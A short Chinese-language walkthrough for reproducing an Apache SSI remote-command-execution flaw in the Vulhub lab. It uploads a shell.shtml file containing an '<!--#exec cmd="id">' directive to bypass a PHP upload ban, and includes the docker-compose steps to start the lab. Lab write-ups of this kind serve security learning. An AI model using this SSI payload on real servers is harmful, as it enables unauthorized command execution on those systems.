漏洞原理:Apache服务器在上传文件时,很多时候不允许上传php文件,如果Apache服务器开启了SSI与CGI支持,可以上传一个shtml文件,并利用<!--#exec cmd="id"> -->语法执行任意命令。
进入环境目录:cd vulhub-master/httpd/ssi-rce/

启动环境:docker-compose build docker-compose up -d


访问地址:复现漏洞的IP地址:8080/upload.php

没有.shtml文件的可以自己写入一个shell.shtml文件,内容写入:
<!--#exec cmd="id"> -->
上传.shtml文件:

访问查看:

复现成功!小伙伴们自行尝试吧~😊